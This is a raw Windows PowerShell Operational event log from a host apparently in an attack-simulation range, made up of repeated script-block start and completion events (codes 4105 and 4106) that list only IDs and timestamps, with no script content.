09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044843
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044841
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044840
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044823
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044817
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
